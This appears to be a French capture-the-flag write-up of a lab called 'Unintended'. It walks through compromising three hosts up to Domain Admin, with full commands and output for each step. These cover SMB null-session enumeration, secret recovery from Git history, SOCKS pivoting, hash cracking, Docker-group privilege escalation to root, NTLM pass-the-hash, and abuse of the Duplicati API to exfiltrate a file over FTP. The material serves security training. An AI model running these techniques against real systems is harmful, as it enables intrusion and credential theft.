1. Reconnaissance réseau et énumération AD non authentifiée
Trois hôtes Linux dans le scope : un DC (Samba Active Directory), un serveur de backup, et un serveur web. Le scan complet sur les trois confirme un Samba AD DC classique côté DC (Kerberos, LDAP, SMB), un service FTP pyftpdlib côté BACKUP, et un simple Flask "Under Construction" côté WEB.
Scan complet des 3 hôtes
nmap 10.13.38.57-59 -Pn -p- -sT -T4 --min-rate 1000Résultat
DC 10.13.38.57 22,53,88,135,139,389,445,464,636,3268,3269,49152-49154 (Samba 4 AD DC)
BACKUP 10.13.38.58 21 (pyftpdlib 1.5.7), 22
WEB 10.13.38.59 22, 80 (Werkzeug/Flask "Under Construction")Une session SMB nulle sur le DC suffit à lister les comptes du domaine sans le moindre credential.
Null session SMB
nxc smb 10.13.38.57 -u '' -p '' --users
rpcclient -U '' -N 10.13.38.57 -c enumdomusersRésultat
Administrator, Guest, krbtgt, juan, abbie, cartor2. Vhosts + secrets dans l'historique Gitea
Un fuzzing de vhosts sur WEB révèle deux applications internes : un Mattermost et un Gitea. Le dépôt public juan/DevOpsest accessible sans authentification, et son historique de commits contient des secrets qui ont été "retirés" dans un commit ultérieur, mais restent parfaitement lisibles via l'API patch de Gitea (les blobs Git ne disparaissent jamais vraiment).
Découverte de vhosts
gobuster vhost -u http://10.13.38.59 --domain unintended.vl \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--append-domain -t 50
→ chat.unintended.vl (Mattermost)
→ code.unintended.vl (Gitea v1.21.3)Lecture d'un commit soi-disant supprimé via l'API patch
curl -H "Host: code.unintended.vl" \
http://10.13.38.59/juan/DevOps/commit/a9e6fedd32d307572ea9a567158716963c5608ea.patchRésultat
ENV APP_SECRET 6SU28SH286DY8HS7D
ENV SFTP_USER ftp_user
ENV SFTP_PASS Th3_F1P_Account$$Ces identifiants ouvrent un accès SFTP-only sur WEB, parfait pour monter un tunnel SOCKS et pivoter vers les services internes qui ne sont pas exposés à l'extérieur.
Tunnel SOCKS via SFTP
sshpass -p 'Th3_F1P_Account$$' ssh -D 1080 -N ftp_user@10.13.38.593. MySQL root:root, hash Gitea et flag Touchdown
Derrière le tunnel, MySQL répond en root:root. proxychainsplante systématiquement sur les connexions non bloquantes de MySQL dans cet environnement ; un relaisncat fait le travail sans broncher.
Relais TCP local vers MySQL
ncat -l 13306 --keep-open -c "ncat --proxy 127.0.0.1:1080 --proxy-type socks5 127.0.0.1 3306"
mysql -h 127.0.0.1 -P 13306 -u root -proot gitea \
-e "select id,name,email,passwd,passwd_hash_algo,salt,is_admin from user;"Hash PBKDF2-SHA256 de administrator (50000 itérations). Conversion au format hashcat 10900 (sha256:iterations:salt_b64:hash_b64) puis cassage sur rockyou.
Cassage du hash
hashcat -m 10900 -a 0 admin_gitea.hash rockyou.txt
→ administrator : loveandhateConnecté en admin Gitea, le panel /admin/repos révèle un dépôt privé supplémentaire : juan/home-backup. Son .bash_historycontient la commande qui a généré sa clé SSH, avec la passphrase en clair.
Résultat
ssh-keygen -t rsa -b 4096 -C "juan@unintended.local" -N "theJUANman2019" -f ~/.ssh/id_rsaCette passphrase est réutilisée telle quelle comme mot de passe du compte de domaine juan, validé via SMB puis directement en SSH sur WEB (joint au domaine via SSSD, contrairement au DC qui refuse le login interactif pour les comptes AD).
Validation domaine et accès SSH
smbclient -L //10.13.38.57/ -U 'juan%theJUANman2019' # succès
sshpass -p 'theJUANman2019' ssh -l 'juan@unintended.vl' 10.13.38.59Résultat
uid=320201103(juan@unintended.vl) gid=320200513(domain users@unintended.vl)
groups=...,320201106(web developers@unintended.vl)
web.unintended.vlFlag : Touchdown
••••••••••••••••••••••••••••••••Cliquer pour afficher4. Pivot PostgreSQL/Mattermost et mot de passe d'Abbie
Même tunnel SOCKS, nouveau relais vers le réseau Docker interne où vit la base Postgres de Mattermost.
Relais vers Postgres (réseau docker interne)
ncat -l 15432 --keep-open -c "ncat --proxy 127.0.0.1:1080 --proxy-type socks5 172.18.0.3 5432"
psql -h 127.0.0.1 -p 15432 -U mmuser -d mattermost -c "select username,email,password from users;"
psql -h 127.0.0.1 -p 15432 -U mmuser -d mattermost -c "select message from posts order by createat desc limit 200;"Trois comptes : cadams (cartor, admin), theabbs (Abbie Spencer), juank (juan). L'historique des messages contient deux indices en or : un mot de passe temporaire donné en clair par cadams suite à une réinitialisation, et une blague sur un pattern de mot de passe faible en nom+année de naissance.
Résultat
cadams: Here, `Hiu8sy8SA8h2`, change it to one you can actually remember...
theabbs: Thank you soo much... (kidding)
[...] name + birthyear is a good password then? :joy:Le pattern se vérifie en cassant le hash bcrypt d'Abbie - mais ce mot de passe Mattermost n'est pas son mot de passe de domaine : celui-ci reste le mot de passe temporaire, jamais changé malgré la promesse.
Cassage bcrypt (confirme le pattern, piste alternative)
hashcat -m 3200 -a 0 abbie_bcrypt.hash abbie_wordlist.txt
→ theabbs (Mattermost) : Abbie1998Le vrai mot de passe de domaine
nxc smb 10.13.38.57 -u abbie -p 'Hiu8sy8SA8h2'
→ [+] unintended.vl\abbie:Hiu8sy8SA8h25. Lateral movement vers BACKUP et privesc Docker
SSH avec le compte de domaine d'Abbie
sshpass -p 'Hiu8sy8SA8h2' ssh -l 'abbie@unintended.vl' 10.13.38.58Résultat
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl)
groups=320200513(domain users@unintended.vl),119(docker)Membre du groupe local docker = root équivalent. Un montage du filesystem hôte dans un conteneur suivi d'un chroot donne un shell root complet en une commande.
Privesc via montage + chroot
docker run --rm -v /:/mnt python:3.11.2-slim chroot /mnt bashRésultat
uid=0(root) gid=0(root) groups=0(root)6. Forensic du backup Samba AD et Pass-the-Hash
Root sur BACKUP donne accès à un conteneur FTP contenant une sauvegarde complète de la base Active Directory Samba, prise en tarball des mois plus tôt.
Localisation et exfiltration du backup
docker ps -a
# scripts_ftp_1 python:3.11.2-slim "sh ./setup.sh"
docker exec scripts_ftp_1 find /ftp -iname '*.tar.bz2'
# /ftp/volumes/domain_backup/samba-backup-2024-02-17T20-32-13.580437.tar.bz2
docker cp scripts_ftp_1:/ftp/volumes/domain_backup/samba-backup-*.tar.bz2 /tmp/samba-backup.tar.bz2Après exfiltration (scp) et extraction du tarball, ldbsearchinstallé en local suffit à interroger directement la base sam.ldbsans avoir besoin du conteneur officiel diegogslomp/samba-ad-dc.
Extraction du hash Administrator
ldbsearch -H ./backup/private/sam.ldb -b 'dc=unintended,dc=vl' \
'(&(objectClass=user)(sAMAccountname=administrator))' unicodePwd
→ unicodePwd:: Nv4kHqDqpTPV+si9f7b4ow==Conversion en hash NTLM
echo 'Nv4kHqDqpTPV+si9f7b4ow==' | base64 -d | xxd -p
→ 36fe241ea0eaa533d5fac8bd7fb6f8a3Un backup vieux de plusieurs mois, mais le mot de passe Administrator n'a jamais tourné entre temps : le hash extrait est encore valide en Pass-the-Hash sur le DC actuel.
Pass-the-Hash sur le DC
nxc smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3
# [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3
smbclient -U Administrator --password=36fe241ea0eaa533d5fac8bd7fb6f8a3 --pw-nt-hash //10.13.38.57/home -c "get root.txt"Flag : Backup Admin
••••••••••••••••••••••••••••••••Cliquer pour afficherFlag : Unintended Master
••••••••••••••••••••••••••••••••Cliquer pour afficher7. Flag Web : abus d'une instance Duplicati live
Le conteneur FTP de BACKUP contient aussi les blocs d'une sauvegarde Duplicati (non chiffrée,--no-encryption) de la configuration de Duplicati lui-même - une sauvegarde qui se sauvegarde elle-même. En parsant à la main lefilelist.json du .dlist.zip(sans duplicati-cli, juste unzip), je retrouve et restitue Duplicati-server.sqlite à partir du bon .dblock.zip (nom d'entrée = hash SHA256 du bloc, en base64 url-safe).
Résultat
server-passphrase = ZhB5vA+1uCde2Gozh9/CXKfPt8MoNcUklyfk1vBuuQk=
server-passphrase-salt = j+7JQsuO7aggNAESQRkCBJd8dwdUE6A9QLTKXM3LB7w=
last-webserver-port = 8200Port 8200 fermé de l'extérieur, mais joignable en loopback sur WEB via le tunnel SOCKS déjà en place : une vraie instance Duplicati tourne toujours, avec le même salt que celui extrait du backup.
Découverte du service live + nonce
curl -x socks5h://127.0.0.1:1080 http://127.0.0.1:8200/login.cgi -X POST -d "get-nonce=1"Le protocole d'auth legacy de Duplicati 2.0.x ne demande jamais le mot de passe en clair : il suffit de connaître server-passphrase (déjà en main) pour calculer la réponse au challenge.
Login par challenge-response, sans mot de passe en clair
noncedpwd = base64( SHA256( base64decode(Nonce) || base64decode(server-passphrase) ) )
POST /login.cgi password=<noncedpwd> → {"Status":"OK"}Authentifié sur l'instance live, j'abuse l'API REST pour créer un nouveau job de sauvegarde ciblant directement /root/flag.txt de WEB, avec pour destination un serveur FTP que je contrôle et peux atteindre directement (credentialsftp_admin trouvés dans la config d'un job existant). Aucun shell root nécessaire : Duplicati lit le fichier à ma place.
Nouveau job de sauvegarde ciblé + exécution
POST /api/v1/backups {"Sources": ["/source/root/flag.txt"], "TargetURL": "ftp://10.13.38.58:21//exfil?auth-username=ftp_admin&auth-password=..."}
POST /api/v1/backup/{id}/runRécupération et extraction du bloc déposé sur le FTP contrôlé
curl "ftp://10.13.38.58:21/exfil/duplicati-*.dblock.zip" --user ftp_admin:*** -o dblock.zip
unzip -p dblock.zip <block-hash>Flag : Web
••••••••••••••••••••••••••••••••Cliquer pour afficherRécap
- Recon : session SMB nulle sur le DC → liste des comptes du domaine sans credentials
- Gitea : dépôt public juan/DevOps → secrets dans un commit "supprimé", toujours lisibles via l'API patch → creds SFTP
- Pivot SOCKS : tunnel SSH via le compte SFTP → MySQL root:root → hash Gitea admin cassé (loveandhate)
- Flag Touchdown : dépôt privé juan/home-backup → .bash_history → passphrase SSH = mot de passe domaine de juan
- Abbie : Postgres Mattermost (même pivot) → messages → mot de passe temporaire jamais changé (piste bcrypt name+birthyear = fausse piste)
- Flag Backup Admin : SSH abbie → BACKUP → groupe docker → root via montage + chroot
- Flag Unintended Master : backup Samba AD exfiltré → ldbsearch → hash NTLM Administrator → Pass-the-Hash → Domain Admin
- Flag Web : backup Duplicati de sa propre config → passphrase → login sur l'instance live → nouveau job ciblé sur /root/flag.txt → exfiltration via FTP contrôlé
